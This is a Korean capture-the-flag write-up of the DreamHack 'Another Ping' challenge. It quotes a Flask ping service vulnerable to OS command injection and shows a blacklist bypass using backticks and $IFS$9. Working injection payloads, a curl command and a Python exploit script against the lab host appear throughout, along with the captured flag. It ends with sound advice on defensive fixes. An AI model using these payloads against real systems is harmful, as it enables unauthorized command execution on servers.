2026-06-06·1분 읽기·
ping 유틸리티가 입력을 shell=True로 그대로 실행한다. 공백·세미콜론·파이프는 막았지만 백틱이 블랙리스트에 없어 명령치환이 통하고, 막힌 공백은 $IFS로 대체한다. `cat$IFS$9flag.txt` 한 줄로 flag를 ping 에러 메시지에 흘려보냈다.
이 글이 도움이 됐나요?
문제: DreamHack — Another Ping 분류: Web 난이도: 🥉 Bronze 2 FLAG:
DH{c64c86a3e2121098:jX/Cq3xsaJFPnUtz3AEzXg==}
"Another, yet boring ping utility?" 라는 설명 그대로, IP를 넣으면 서버가 ping을 돌려주는 단순한 페이지다. boring한 건 화면뿐이고 뒤에서는 입력을 셸에 그대로 던진다.

| 항목 | 내용 |
|---|---|
| 문제명 | Another Ping |
| 난이도 | 🥉 Bronze 2 |
| 분류 | Web (OS Command Injection) |
| 제공 | Flask 소스 + 서버 |
| 핵심 취약점 | shell=True 커맨드 인젝션 + 블랙리스트 우회 |
서버 코드는 짧다. /ping이 받은 ip를 ping -c 4 {ip} 문자열로 만들어 shell=True로 실행하고, 결과 stdout/stderr를 JSON으로 돌려준다. 입력 검증은 문자 블랙리스트 하나뿐이다.
FILTERED_CHARS = [' ', ';', '|', '&', '>', '<', '(', ')', '[', ']', '{', '}', '\n', '\r']
def is_valid_ip(ip):
ip_pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
return bool(re.match(ip_pattern, ip))
def filter_input(user_input):
for char in FILTERED_CHARS:
if char in user_input:
return False, f"Invalid character detected: {char}"
return True, "OK"
@app.route('/ping', methods=['POST'])
def ping():
ip = request.form.get('ip', '').strip()
if not ip:
return jsonify({'error': 'IP address is required'}), 400
is_valid, message = filter_input(ip) # ← 블랙리스트만 검사
if not is_valid:
return jsonify({'error': message}), 400
cmd = f"ping -c 4 {ip}" # ← 입력이 셸 문자열에 그대로
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=10)
return jsonify({'command': cmd, 'stdout': result.stdout,
'stderr': result.stderr, 'returncode': result.returncode})여기서 두 가지가 눈에 들어온다.
cmd = f"ping -c 4 {ip}"를 shell=True로 돌린다. 입력이 셸 명령 문자열에 그대로 끼어 들어가니 셸 메타문자를 넣을 수 있으면 명령 주입이다.
그리고 is_valid_ip(). IP 형식을 정규식으로 검사하는 함수가 분명히 있는데, /ping 라우트 어디에서도 호출하지 않는다. 정의만 해두고 안 쓴다. 실제로 걸리는 방어는 filter_input() 블랙리스트가 전부다.
127.0.0.1을 넣으면 평범하게 ping 4번 결과가 돌아온다.

흔한 주입 구분자 ;로 명령을 이어 붙이려 하면 바로 막힌다. 127.0.0.1; id를 넣으면 공백(; 이전에 공백이 먼저 걸린다)에서 걸려 Invalid character detected: 가 뜬다.

블랙리스트를 정리하면 이렇다.
| 막힌 문자 | 영향 |
|---|---|
' ' (공백) | 인자 구분 불가 |
; \n \r | 명령 종결·연결 불가 |
| ` | &` |
> < | 리다이렉션 불가 |
( ) | $(...) 명령치환 불가 |
[ ] { } | brace 확장·${IFS} 불가 |
촘촘해 보이지만 빠진 게 있다.
블랙리스트에 백틱(`)이 없다. $(...)는 괄호가 막혀 못 쓰지만, 같은 일을 하는 옛날 문법인 백틱 명령치환은 그대로 살아 있다.
남은 문제는 공백이다. cat flag.txt처럼 인자를 띄우려면 공백이 필요한데 그게 막혔다. 셸에는 공백을 대신할 변수가 있다. $IFS(Internal Field Separator)는 기본값이 공백·탭·개행이라, 토큰 사이에 끼워 넣으면 단어 분리가 일어난다.
$IFS 뒤에 바로 글자를 붙이면 $IFSflag 같은 다른 변수명으로 읽히므로, 비어 있는 위치 인자 $9를 구분자로 끼워 $IFS$9로 변수명을 끊어준다. 결과적으로 cat$IFS$9flag.txt는 셸에서 cat과 flag.txt 두 토큰으로 갈라진다.
조립하면 페이로드는 이렇다.
`cat$IFS$9flag.txt`이 입력은 블랙리스트의 어떤 문자도 건드리지 않는다. 백틱·$·9·. 전부 허용 문자다.

출력을 어떻게 회수하느냐가 남았다. 백틱 안의 cat이 flag를 뱉으면 그 문자열이 ping의 인자 자리에 들어간다. ping -c 4 DH{...} 꼴이 되고, ping은 DH{...}를 호스트명으로 해석하려다 실패한다. 그 실패 메시지가 stderr로 나오는데, 서버는 stderr를 JSON에 담아 그대로 돌려준다. flag가 에러 메시지에 실려 나온다.
페이로드를 그대로 ip에 넣고 Run.
`cat$IFS$9flag.txt`결과 패널의 STDERR에 flag가 찍힌다.

Command: ping -c 4 `cat$IFS$9flag.txt`
=== STDERR ===
ping: DH{c64c86a3e2121098:jX/Cq3xsaJFPnUtz3AEzXg==}: Name or service not known
Return Code: 2같은 방식으로 임의 명령이 도는지 확인해 보면 권한도 드러난다. `id` 를 넣으면 groups=0(root) 가 보인다 — 컨테이너 안에서 root로 실행 중이다.
$ curl -s -X POST http://host8.dreamhack.games:12801/ping --data-urlencode 'ip=`id`'
{"stderr": "ping: groups=0(root): Name or service not known\n", ...}id의 출력은 공백이 들어 있어 단어 분리되며 마지막 토큰만 ping에 남지만, 명령이 실제로 실행된다는 사실은 충분히 보인다. 단어 분리 없이 한 줄을 통째로 회수하고 싶을 때 cat$IFS$9flag.txt처럼 출력이 공백 없는 명령을 고르면 깔끔하다.
requests로 페이로드를 던지고 stderr에서 flag만 뽑아내는 스크립트.
#!/usr/bin/env python3
import re
import requests
BASE = "http://host8.dreamhack.games:12801"
def run(ip):
return requests.post(f"{BASE}/ping", data={"ip": ip}, timeout=15).json()
def leak(cmd_no_space):
# 백틱 명령치환 + $IFS 로 공백 우회, ping stderr 로 결과 회수
res = run("`" + cmd_no_space + "`")
return res.get("stderr", "") or res.get("stdout", "")
[*] id -> ping: groups=0(root): Name or service not known
[*] raw -> ping: DH{c64c86a3e2121098:jX/Cq3xsaJFPnUtz3AEzXg==}: Name or service not known
[+] FLAG: DH{c64c86a3e2121098:jX/Cq3xsaJFPnUtz3AEzXg==}
블랙리스트는 빠뜨린 한 글자에서 무너진다.
; | & ( ) { } 까지 막아둔 필터였지만 백틱 하나가 빠졌고, 명령치환은 그 틈으로 그대로 들어왔다. 셸 메타문자는 종류가 많아 "위험한 걸 다 적어 막는" 접근으로는 한 칸씩 새기 마련이다.
공백을 막아도 $IFS가 있다.
공백 필터는 커맨드 인젝션 방어에서 흔히 보이지만 셸에는 공백을 대신할 수단이 여럿 있다. $IFS, 탭 문자, brace 확장 등. 공백만 막아서 인자 분리를 못 하게 했다고 안심할 수 없다.
안 쓰는 검증 함수는 방어가 아니다.
is_valid_ip()로 IP 형식을 강제했다면 이 주입은 처음부터 불가능했다. 정의해 두고 호출하지 않으면 코드 리뷰에서 "검증하고 있네"처럼 보일 뿐 실제로는 아무 일도 하지 않는다. 제대로 된 방어는 subprocess.run(["ping", "-c", "4", ip], shell=False)로 셸을 거치지 않고, 입력은 IP 화이트리스트(정규식 통과분만)로 받는 것이다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…